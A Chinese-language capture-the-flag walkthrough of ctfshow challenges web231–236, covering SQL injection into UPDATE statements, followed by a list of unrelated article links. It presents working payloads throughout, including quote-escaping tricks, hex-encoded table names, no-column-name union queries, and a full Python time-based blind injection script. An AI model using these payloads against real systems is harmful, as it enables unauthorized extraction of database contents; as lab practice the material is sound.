ctfshow-web入门-sql注入(web231-web236)update 注入

目录

1、web231

2、web232

3、web233

4、web234

5、web235

6、web236


1、web231

拼接的是 update 语句

//分页查询
  $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

password 和 username 可控,注入地方还是在 api 接口下,请求方式为 post

先是在 password 的位置闭合前面单引号,注释后面单引号,尝试查数据库名:

password=database()',username=111#&username=222

unicode 解码是更新成功的意思:

刷新 update.php 页面:

发现密码被设置成了 database(),用户名被设置成了 111,我们前面语句中的 username=222 是传给 where 后的 username 的,前面的 username=111 是给到 set 语句,由于密码里的 database() 没有回显出数据库名,那么我们尝试插到用户名的位置:

password=111',username=database()#&username=222

刷新页面,回显成功:

拿到数据库名为 ctfshow_web

接下来就可以继续查表名了:

password=111',username=(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web')#&username=222

注意其中 select 查询语句整体要使用括号包裹起来

拿到表名:banlist,ctfshow_user,flaga

我们查 flaga 表下的列名:

password=111',username=(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='flaga')#&username=222

拿到列名:id,flagas,info

查字段 flagas 的具体信息:

password=111',username=(select flagas from flaga)#&username=222

get flag:ctfshow{80d31d0b-efe8-4acd-9541-c73efa84d7d4}

2、web232

  //分页查询
  $sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";

新增 md5 加密,我们对 md5 这个函数的括号进行闭合即可:

password=111'),username=database()#&username=222

数据库名还是 ctfshow_web,后面的密码是我们输入的 111 经过 md5 加密后的内容

查表名:

password=111'),username=(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web')#&username=222

banlist,ctfshow_user,flagaa

查 flagaa 表下的列名:

password=111'),username=(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='flagaa')#&username=222

id,flagass,info

查 flagass 的信息:

password=111'),username=(select flagass from flagaa)#&username=222

拿到 flag:ctfshow{5d22a4bd-0a84-48e0-a447-0564861c1552}

3、web233

查询语句和 web231 一样,说是没有过滤,但是用前面的 payload 打不通

查询失败

测试了一下发现 username 存在注入点

password=111&username=1'or sleep(3)#

但是 sleep 时间太长了

我们改小一点,sleep(0.1) 即可实现 2s 以上的延时,完全够了

写个盲注脚本试试,数据库名就不跑了,直接跑表名:

python 复制代码
payload = {'password': '1','username': f"0'or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), {j}, 1) = '{k}',sleep(0.1),0)#"}

拿到表名:flag233333

跑这个表下的所有列名:

python 复制代码
payload = {'password': '1','username': f"0'or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag233333'), {j}, 1) = '{k}',sleep(0.1),0)#"}

有一个叫 flagass233 的东西,那就是它了。

跑具体字段信息:

python 复制代码
payload = {'password': '1', 'username': f"0'or if(substr((select group_concat(flagass233) from flag233333), {j}, 1) = '{k}',sleep(0.1),0)#"}

拿到 flag:ctfshow{358cedf9-bdbe-49c6-a609-2a2b25df682e}

附上勇师傅的完整脚本:

python 复制代码
# @author:Myon
# @time:20240823
import requests
import string

url = 'http://202073c0-c44d-4aee-adb7-20e2a7222d78.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''

for j in range(1, 50):
    for k in dic:
        # payload = {'password': '1','username': f"0'or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), {j}, 1) = '{k}',sleep(0.1),0)#"}  # 猜表名
        # payload = {'password': '1','username': f"0'or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag233333'), {j}, 1) = '{k}',sleep(0.1),0)#"}  # 猜列名
        payload = {'password': '1', 'username': f"0'or if(substr((select group_concat(flagass233) from flag233333), {j}, 1) = '{k}',sleep(0.1),0)#"}  # 跑flag
        re = requests.post(url, data=payload)
        if re.elapsed.total_seconds() > 2:
            out += k
            break
    print(out)

由于这次的注入点在第二个参数,where 后面出来的内容我们根本就看不到,没有回显,这也是为什么我们前面要采用盲注,而 update.php 的回显是根据 set 那里出来的,那么如何让注入跑到第一个参数那里去呢?

python 复制代码
password=\&username=,username=database()#

看原始的 sql 语句:

python 复制代码
set pass = '{$password}' where username = '{$username}';

拼接后:

python 复制代码
set pass = '\' where username = ',username=database()#';

第二个单引号被转义了,也就是说 pass 被设置成了 ' where username =

而 set 的 username 为 database()

刷新查看 update.php,数据库名回显成功:

在这个思路上就可以继续查表名了:

python 复制代码
password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web')#

查列名:

python 复制代码
password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='flag233333')#

查字段信息:

python 复制代码
password=\&username=,username=(select flagass233 from flag233333)#

4、web234

查询语句看着和前面没什么区别

但是加上单引号和不加单引号回显结果不一样,应该是过滤掉了单引号

但是上一题转义的方法可用,查表:

python 复制代码
password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#

flag23a

查列名:

注意我们的 payload 里面不能出现单引号否则会查询失败,采用十六进制绕过

python 复制代码
password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666c6167323361)#

或者你不指定表名:

只是查出的结果多些而已

python 复制代码
password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_schema=database())#

拿到字段名 flagass23s3

查字段信息:

python 复制代码
password=\&username=,username=(select flagass23s3 from flag23a)#

拿到 flag:ctfshow{cc5cf077-d799-46be-a0c1-ab8e0aa251ab}

5、web235

新增过滤 or '

python 复制代码
password=\&username=,username=database()#

查库名还是可以的

但是在查表名的时候就不行了

看了 wp 说是 or 被过滤导致 information_schema 库不能使用,但是我并不理解为什么 or 被过滤会影响到 information_schema 库的使用,有知道的师傅吗,可以解释下。

使用 mysql.innodb_table_stats 和 mysql.innodb_index_stats 代替,它们是 MySQL 内部的系统表,用于存储 InnoDB 引擎相关的统计信息,内容与 information_schema.tables 类似,也可以用来获取数据库中的库名和表名,这两个表都包含了 database_name 和 table_name 字段。

查表名:

python 复制代码
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#

拿到表名:flag23a1

但是 mysql.innodb_table_stats 和 mysql.innodb_index_stats 下不包含列名信息,这里需要采用无列名注入:

python 复制代码
password=\&username=,username=(select group_concat(`2`)  from (select 1,2,3 union select * from flag23a1) as a)#

内层:(select 1,2,3 union select * from flag23a1) as a 会生成了一个临时表,由 select 1, 2, 3 创建的三列数据和 select * from flag23a1 得到的 flag23a1 表中的所有列拼接形成,别名 a 用于引用该临时表。

外层:select group_concat(`2`) from... 会将结果集中所有第二列的数据连接起来,查询返回表 flag23a1 中第二列的数据连接值。

拿到 flag:ctfshow{c55a9d76-33b4-4793-ad63-e3efd7324ba0}

如果反引号被过滤了,可以继续采用 as 起别名:

其实 as 是可以省略的,只是为了增强可读性我们一般不省略。

python 复制代码
password=\&username=,username=(select group_concat(myon) from (select 1,2 as myon,3 union select * from flag23a1) as a)#

也是可行的

6、web236

新增过滤 flag,实际测试发现并没影响,不懂。

查表:

python 复制代码
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#

banlist,ctfshow_user,flaga

查 flag:

python 复制代码
password=\&username=,username=(select group_concat(myon) from (select 1,2 as myon,3 union select * from flaga)a)#

拿到 flag:ctfshow{5f27d65e-fc8b-48be-b35a-f9dc6c221ede}

相关推荐
gma99915 分钟前
Etcd 框架
数据库·etcd
爱吃青椒不爱吃西红柿‍️18 分钟前
华为ASP与CSP是什么?
服务器·前端·数据库
一棵开花的树,枝芽无限靠近你21 分钟前
【PPTist】添加PPT模版
前端·学习·编辑器·html
VertexGeek40 分钟前
Rust学习(八):异常处理和宏编程:
学习·算法·rust
Yz98761 小时前
hive的存储格式
大数据·数据库·数据仓库·hive·hadoop·数据库开发
武子康1 小时前
大数据-230 离线数仓 - ODS层的构建 Hive处理 UDF 与 SerDe 处理 与 当前总结
java·大数据·数据仓库·hive·hadoop·sql·hdfs
武子康1 小时前
大数据-231 离线数仓 - DWS 层、ADS 层的创建 Hive 执行脚本
java·大数据·数据仓库·hive·hadoop·mysql
黑色叉腰丶大魔王1 小时前
《MySQL 数据库备份与恢复》
mysql
苏-言1 小时前
Spring IOC实战指南:从零到一的构建过程
java·数据库·spring
Ljw...1 小时前
索引(MySQL)
数据库·mysql·索引